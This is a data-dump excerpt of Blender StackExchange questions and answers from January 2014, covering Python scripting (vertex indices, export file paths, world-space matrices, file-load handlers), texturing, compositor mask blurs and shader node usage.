  <row Id="6169" PostTypeId="2" ParentId="6158" CreationDate="2014-01-10T21:53:50.957" Score="4" Body="&lt;p&gt;What you try is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;verts_file.write(&quot;%i &quot; % (v + 1))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But &lt;code&gt;v&lt;/code&gt; refers to a MeshVertex instance. What you need is the &lt;code&gt;.index&lt;/code&gt; property of the vertex:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;verts_file.write(&quot;%i &quot; % (v.index + 1))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or count yourself:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for me in meshes:&#xA;    for i, v in enumerate(me.vertices):&#xA;        print(&quot;%i &quot; % i)&#xA;        print(&quot;%.16e %.16e %.16e\n&quot; % v.co[:])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-01-10T21:53:50.957" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6170" PostTypeId="2" ParentId="6159" CreationDate="2014-01-10T22:09:08.633" Score="2" Body="&lt;p&gt;It's actually a feature of the ExportHelper mixin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class ExportHelper:&#xA;    filepath = StringProperty(&#xA;            name=&quot;File Path&quot;,&#xA;            description=&quot;Filepath used for exporting the file&quot;,&#xA;            maxlen=1024,&#xA;            subtype='FILE_PATH',&#xA;            )&#xA;    #...&#xA;    # subclasses can override with decorator&#xA;    # True == use ext, False == no ext, None == do nothing.&#xA;    check_extension = True&#xA;&#xA;    def invoke(self, context, event):&#xA;        import os&#xA;        if not self.filepath:&#xA;            blend_filepath = context.blend_data.filepath&#xA;            if not blend_filepath:&#xA;                blend_filepath = &quot;untitled&quot;&#xA;            else:&#xA;                blend_filepath = os.path.splitext(blend_filepath)[0]&#xA;&#xA;            self.filepath = blend_filepath + self.filename_ext&#xA;&#xA;        context.window_manager.fileselect_add(self)&#xA;        return {'RUNNING_MODAL'}&#xA;&#xA;    def check(self, context):&#xA;        # code that uses check_extension and adds it if True&#xA;        # ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Add this to your export operator to overwrite the &lt;code&gt;invoke()&lt;/code&gt; method:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    def invoke(self, context, event):&#xA;        self.filepath = &quot;&quot;&#xA;        context.window_manager.fileselect_add(self)&#xA;        return {'RUNNING_MODAL'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It won't use a default name for the export, clears the filepath from a previous run of the operator (so always starts empty), but still adds the file extension if you enter a file name (you can disable it if you want).&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-01-10T22:09:08.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6171" PostTypeId="2" ParentId="6163" CreationDate="2014-01-10T22:42:24.810" Score="1" Body="&lt;p&gt;You can create a timer property in the logic editor panel and name it whatever you want. Say - &quot;dTimer&quot;. Now when your game runs it will run. And in your python script do like this -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if mouse_click.positive and own[&quot;dTimer&quot;] &amp;gt;= 2: #2 seconds&#xA;    #do whatever you want&#xA;    own[&quot;dTimer&quot;] = 0 #Reset the counter to zero&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As soon as you reset it to 0, it will start the counting from 0 again. You can debug the property if you want.&lt;/p&gt;&#xA;" OwnerUserId="2065" LastActivityDate="2014-01-10T22:42:24.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6172" PostTypeId="2" ParentId="6155" CreationDate="2014-01-10T22:45:55.747" Score="40" Body="&lt;p&gt;Multiply the world matrix by the object-space vector for world space coordinate:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;ob = bpy.data.objects['Cube']&#xA;&#xA;v = ob.data.vertices[0].co&#xA;mat = ob.matrix_world&#xA;&#xA;# Multiply matrix by vertex (see also: https://developer.blender.org/T56276)&#xA;loc = mat * v  # note: use `loc = mat @ v` for Blender 2.8+&#xA;&#xA;# Don't do the reverse!&#xA;loc = v * mat  # wrong!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;`Object.matrix_world is a 4x4 transformation matrix. It contains translation, rotation and scale. A 4x4 matrix can also be used for mirroring and shearing (not covered in my answer).&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;[a] [b] [c] [d]&#xA;[e] [f] [g] [h]&#xA;[i] [j] [k] [l]&#xA;[m] [n] [o] [p]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The translation is stored in the first 3 rows of the 4th column of the matrix (&lt;code&gt;d&lt;/code&gt;, &lt;code&gt;h&lt;/code&gt;, &lt;code&gt;l&lt;/code&gt;):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;mat.col[3][:3]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;You can also use:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# Create new Vector object&#xA;mat.to_translation()&#xA;&#xA;# Access the original matrix' translation&#xA;# (assignments will change the matrix, thus the object location!)&#xA;mat.translation&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Rotation and scale are sort of combined. The rotation is stored in &lt;code&gt;a&lt;/code&gt;, &lt;code&gt;b&lt;/code&gt;, &lt;code&gt;c&lt;/code&gt;, &lt;code&gt;e&lt;/code&gt;, &lt;code&gt;f&lt;/code&gt;, &lt;code&gt;g&lt;/code&gt;, &lt;code&gt;i&lt;/code&gt;, &lt;code&gt;j&lt;/code&gt; and &lt;code&gt;k&lt;/code&gt;. The scale is stored in &lt;code&gt;a&lt;/code&gt;, &lt;code&gt;f&lt;/code&gt; and &lt;code&gt;k&lt;/code&gt;. The values in &lt;code&gt;a&lt;/code&gt;, &lt;code&gt;f&lt;/code&gt; and &lt;code&gt;k&lt;/code&gt; of the rotation are taken and multiplied by the scale factor to store both pieces of information.&lt;/p&gt;&#xA;&lt;p&gt;To get only the rotation, you need to normalize the 3x3 matrix:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;mat.to_3x3().normalized()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;To get only the scale, you can use the utility method:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;mat.to_scale()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Or manually, normalize the matrix and divide each of the un-normalized by the normalized components (&lt;code&gt;a&lt;/code&gt;, &lt;code&gt;f&lt;/code&gt;, &lt;code&gt;k&lt;/code&gt;):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;# you could do this manually like&#xA;# vec / sqrt(vec.x**2 + vec.y**2 + vec.z**2) for every matrix column&#xA;nmat = mat.normalized()&#xA;&#xA;scale = Vector((mat[0][0] / nmat[0][0], mat[1][1] / nmat[1][1], mat[2][2] / nmat[2][2]))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;If you need the world coordinates of all vertices, it's more efficient to use the &lt;code&gt;transform()&lt;/code&gt; method:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;me.transform(mat)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It will apply the transformation matrix to the mesh, so multiply the world matrix with all vertex coordinates. You may wonder about the change in orientation of a mesh object in viewport if you do the above. It can be fixed by resetting the &lt;code&gt;matrix_world&lt;/code&gt; (otherwise the transformation will be done twice):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ob.matrix_world = Matrix()  # identity matrix&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="20051" LastEditDate="2020-12-31T15:48:36.793" LastActivityDate="2020-12-31T15:48:36.793" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="6173" PostTypeId="1" AcceptedAnswerId="6174" CreationDate="2014-01-11T00:19:05.410" Score="71" ViewCount="74028" Body="&lt;p&gt;I'm trying to debug a Python script by placing a &lt;code&gt;print(&quot;foo=&quot; + foo)&lt;/code&gt; statement in my code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But where does the output appear?   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It doesn't appear on the Python Console, and it doesn't appear on the area that appears when you drag the lower edge of the infobar downwards (what is the name for this area? My script errors show up in red here.)&lt;/p&gt;&#xA;" OwnerUserId="1693" LastEditorUserId="30849" LastEditDate="2018-12-24T13:10:24.293" LastActivityDate="2021-04-25T22:00:55.207" Title="Where does console output go" Tags="&lt;python&gt;&lt;scripting&gt;" AnswerCount="8" CommentCount="3" FavoriteCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="6174" PostTypeId="2" ParentId="6173" CreationDate="2014-01-11T01:07:42.940" Score="83" Body="&lt;p&gt;It's printed to the system console. If it's not opened, go to &lt;em&gt;Window &amp;gt; Toggle System Console&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Note that this option is only available on Windows. On other OS, start Blender from a terminal.&lt;/p&gt;&#xA;&lt;p&gt;See here: &lt;a href=&quot;https://docs.blender.org/manual/en/latest/advanced/command_line/introduction.html&quot; rel=&quot;noreferrer&quot;&gt;https://docs.blender.org/manual/en/latest/advanced/command_line/introduction.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;You may also use this script:&lt;br&gt;&#xA;&lt;a href=&quot;https://blender.stackexchange.com/questions/5394/is-there-anyway-to-make-blender-print-errors-in-the-ui&quot;&gt;Is there anyway to make blender print errors in the UI?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="44535" LastEditDate="2020-07-15T18:57:57.140" LastActivityDate="2020-07-15T18:57:57.140" CommentCount="8" ContentLicense="CC BY-SA 4.0" />
  <row Id="6175" PostTypeId="2" ParentId="6166" CreationDate="2014-01-11T02:21:07.280" Score="3" Body="&lt;p&gt;It's generally bad practice to make the colors directly dependent on the topology of the object (there are exceptions, of course).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead you should use a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Textures&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Texture&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A texture is usually an image which is mapped to the surface of your object based on a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Textures/Mapping/UV/Unwrapping&quot; rel=&quot;nofollow noreferrer&quot;&gt;UV map&lt;/a&gt;. There are other kinds of textures and mapping techniques as well, e.g. &lt;em&gt;Procedural textures&lt;/em&gt;.&lt;br&gt;&#xA;However, in this case you probably want to UV unwrap and use an image texture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I can &lt;em&gt;UV unwrap&lt;/em&gt; this sphere:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JGIKQ.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and then texture it with this image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KFtF0.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fhh05.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can see, the texture is not dependent on the topology of the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend you check out some tutorials on texturing and UV unwrapping in blender. There are many good sources out there (google is your friend), but here are a couple of places to start with:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=9Ha2rFR6qO0&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Cookie&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://www.blenderguru.com/videos/the-secrets-of-realistic-texturing/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Guru&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Textures/Mapping/UV/Unwrapping&quot; rel=&quot;nofollow noreferrer&quot;&gt;The Blender wiki&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Also check the &lt;a href=&quot;https://blender.meta.stackexchange.com/a/43/599&quot;&gt;beginner's reference&lt;/a&gt; on meta.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-03-16T15:51:59.687" LastActivityDate="2015-11-21T23:21:12.483" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6176" PostTypeId="2" ParentId="2580" CreationDate="2014-01-11T02:39:00.363" Score="7" Body="&lt;p&gt;Blender only supports Python3 for scripting, and currently there are now plans to support other languages natively.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;There are however a few ways to use other languages from Python.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Use CPython to Execute Other Languages&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Its possible to generate CPython bytecode directly.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/hylang/hy&quot; rel=&quot;nofollow noreferrer&quot;&gt;Hy&lt;/a&gt; (Lisp syntax for CPython runtime), This works quite well with Blender.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/i2y/mochi&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mochi&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Bridge CPython to Other Runtimes&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://pypi.python.org/pypi/lupa&quot; rel=&quot;nofollow noreferrer&quot;&gt;Lupa&lt;/a&gt; (Lua/Python)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://labix.org/lunatic-python&quot; rel=&quot;nofollow noreferrer&quot;&gt;Lunatic&lt;/a&gt; (Lua/Python) not updated for Python3&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Call out to other languages From CPython&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You could also look into LLVMPy, PyOpenCL or Cuda for Python, see this answer: &lt;a href=&quot;https://blender.stackexchange.com/a/3159/55&quot;&gt;https://blender.stackexchange.com/a/3159/55&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Execute external processes&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Theres nothing special about this, you can simply write out some XML/JSON/&lt;em&gt;ANYFORMAT&lt;/em&gt; file from Blender's Python API, then load that file into any other runtime as an external process. operate on it, then read the data back in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In some cases this is useful, but often its more trouble then its worth to write &amp;amp; read the data back into Blender.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Though I really would recommend just learning Python syntax, while its possible to side-step this, most/all? solutions to do so are not 100%... (no auto-completion in the console for example), defining callbacks to give to Blender... this kind of integration you loose.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.870" LastActivityDate="2016-05-13T08:30:11.990" CommentCount="1" CommunityOwnedDate="2014-01-11T02:39:00.363" ContentLicense="CC BY-SA 3.0" />
  <row Id="6177" PostTypeId="2" ParentId="6159" CreationDate="2014-01-11T02:47:02.303" Score="2" Body="&lt;p&gt;From the question it sounds like want a directory-only file-selector &lt;em&gt;(you don't want to use the filename component of the path at all?)&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case remove &lt;code&gt;filepath&lt;/code&gt; and a property and add...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;directory = StringProperty(subtype='DIR_PATH')&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now the file selector won't show the text field for entering the file name, this saves the confusion of showing the user a filename that has to be ignored/stripped by the script later.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-01-11T02:47:02.303" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6178" PostTypeId="2" ParentId="6165" CreationDate="2014-01-11T03:11:10.070" Score="2" Body="&lt;p&gt;Expanding on &lt;a href=&quot;https://blender.stackexchange.com/a/6168/599&quot;&gt;Matt's answer&lt;/a&gt;, to blur based on a mask in the compositor:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a new mask in the UV image editor by selecting &lt;em&gt;Mask&lt;/em&gt; mode and clicking new:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZAeON.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add a mask primitive (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;) and edit it to match your the part of your image you don't want to blur (or the other way around, do whatever is easier to mask because you can always invert it later) using &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;LMB&lt;/kbd&gt; to add more points.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/itJwz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Once you have your mask, add it in the compositor with a &lt;em&gt;Mask node&lt;/em&gt; (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&gt; Input &gt; Mask&lt;/em&gt; and pick your mask from the drop down):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xfjnu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should be able to view it by connecting it to the viewer node:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0IsxR.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Here are two methods for bluring based on this mask: &lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Method 1&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Using a &lt;em&gt;Gaussian&lt;/em&gt; blur node with a variable size:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/BK3fT.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BK3fT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Method 2&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Using a &lt;em&gt;Fast Gaussian&lt;/em&gt; blur (which doesn't support variable sizes):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/oFRAh.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oFRAh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe method 2 is a little faster (in computation speed) for large blurs, however it's a little more complex and artifact prone than method 1.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.780" LastActivityDate="2014-01-11T03:11:10.070" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6179" PostTypeId="2" ParentId="6133" CreationDate="2014-01-11T03:11:58.183" Score="3" Body="&lt;p&gt;Using BMesh this can be a one liner :), assuming your in editmode.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;tip_index = max((len(v.link_edges), i) for i, v in enumerate(bmesh.from_edit_mesh(bpy.context.object.data).verts))[1]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The same idea expanded (longhand):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import bmesh&#xA;&#xA;obj = bpy.context.object&#xA;bm = bmesh.from_edit_mesh(obj.data)&#xA;&#xA;vert_user_index = []&#xA;for i, v in enumerate(bm.verts):&#xA;    vert_user_index.append((len(v.link_edges), i))&#xA;tip_index = max(vert_user_index)[1]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note that its building a list, where the one liner version uses a generator (which is more efficient)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-01-11T03:11:58.183" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6180" PostTypeId="2" ParentId="5813" CreationDate="2014-01-11T03:30:41.390" Score="2" Body="&lt;p&gt;You can capture the event like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy.app.handlers import persistent&#xA;&#xA;@persistent&#xA;def new_file_handler(scene):&#xA;    if not bpy.data.filepath:&#xA;        print(&quot;New file!&quot;)&#xA;&#xA;bpy.app.handlers.load_post.append(new_file_handler)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In order to run a popup dialog, a little hack is required to delay the operator invocation (because there's no valid context for a dialog at the time of the load_post callback):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bl_info = {&#xA;    &quot;name&quot;: &quot;New file prompt&quot;,&#xA;    &quot;author&quot;: &quot;CoDEmanX&quot;,&#xA;    &quot;version&quot;: (1, 0),&#xA;    &quot;blender&quot;: (2, 69, 0),&#xA;    &quot;location&quot;: &quot;File &amp;gt; New&quot;,&#xA;    &quot;description&quot;: &quot;Open a popup dialog after a new blend is created&quot;,&#xA;    &quot;warning&quot;: &quot;&quot;,&#xA;    &quot;wiki_url&quot;: &quot;&quot;,&#xA;    &quot;tracker_url&quot;: &quot;&quot;,&#xA;    &quot;category&quot;: &quot;System&quot;}&#xA;&#xA;import bpy&#xA;from bpy.app.handlers import persistent&#xA;&#xA;class SimpleOperator(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Tooltip&quot;&quot;&quot;&#xA;    bl_idname = &quot;object.simple_operator&quot;&#xA;    bl_label = &quot;Simple Object Operator&quot;&#xA;    bl_options = {'REGISTER', 'UNDO'} #?&#xA;&#xA;    prop = bpy.props.StringProperty(name=&quot;Material&quot;, maxlen=63)&#xA;    mats = bpy.props.CollectionProperty(type=bpy.types.PropertyGroup)&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        return not context.blend_data.filepath&#xA;&#xA;    def execute(self, context):&#xA;        print(self.prop)&#xA;        return {'FINISHED'}&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        layout.prop_search(self, &quot;prop&quot;, self, &quot;mats&quot;, icon='MATERIAL')&#xA;&#xA;    def invoke(self, context, event):&#xA;        self.mats.clear()&#xA;        for i in range(1, 7):&#xA;            self.mats.add().name = &quot;Material %i&quot; % i&#xA;        return context.window_manager.invoke_props_dialog(self)&#xA;&#xA;@persistent&#xA;def scene_update_handler(scene):&#xA;    bpy.app.handlers.scene_update_pre.remove(scene_update_handler)&#xA;    bpy.ops.object.simple_operator('INVOKE_DEFAULT')&#xA;&#xA;&#xA;@persistent&#xA;def new_file_handler(scene):&#xA;    if not bpy.data.filepath:&#xA;        print(&quot;New file!&quot;)&#xA;        bpy.app.handlers.scene_update_pre.append(scene_update_handler)&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(SimpleOperator)&#xA;    bpy.app.handlers.load_post.append(new_file_handler) &#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(SimpleOperator)&#xA;    bpy.app.handlers.load_post.remove(new_file_handler) &#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You may want to remove&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bl_options = {'REGISTER', 'UNDO'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;so it doesn't appear in the Redo panel afterwards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also shows the dialog on Blender startup (needs to be installed as addon and enabled by default). This may not work with older versions, which did not trigger load events for the startup.blend. Note that the dialog may overlay the splashscreen, but there's no real problem with that.&lt;/p&gt;&#xA;" OwnerUserId="1363" LastEditorUserId="1363" LastEditDate="2015-08-08T13:28:11.963" LastActivityDate="2015-08-08T13:28:11.963" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6181" PostTypeId="1" AcceptedAnswerId="6182" CreationDate="2014-01-11T04:26:08.460" Score="6" ViewCount="256" Body="&lt;p&gt;What is the difference between the following two node setups?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/D5rqC.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/nD8Ii.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was hoping to use the mix shader as a scaler, but it's not behaving as I'd expect..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are the render results:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YM1F0.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/7ypo6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;direct&quot; line is much stronger than the one going through the mix shader.&lt;/p&gt;&#xA;" OwnerUserId="822" LastEditorUserId="599" LastEditDate="2014-01-11T20:52:58.553" LastActivityDate="2014-01-11T20:52:58.553" Title="Mix node as identity function" Tags="&lt;materials&gt;&lt;nodes&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6182" PostTypeId="2" ParentId="6181" CreationDate="2014-01-11T07:25:25.347" Score="6" Body="&lt;p&gt;This is because you are using a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Cycles/Nodes/Shaders#Mix_and_Add&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Mix shader&lt;/em&gt;&lt;/a&gt; (&lt;em&gt;Add node &gt; Shader &gt; Mix&lt;/em&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This does not work because:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;A color output (yellow socket) is not a valid shader input (green socket).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A shader output (green socket) is not a valid value input (gray socket)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you instead use a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Materials/Nodes/Types/Color#Mix&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;em&gt;Mix RGB&lt;/em&gt;&lt;/a&gt; node (&lt;em&gt;Add node &gt; Color &gt; MixRGB&lt;/em&gt;), it will work as expected:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cQZtK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TrObs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ktl57.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/21VD3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-01-11T07:42:12.337" LastActivityDate="2014-01-11T07:42:12.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
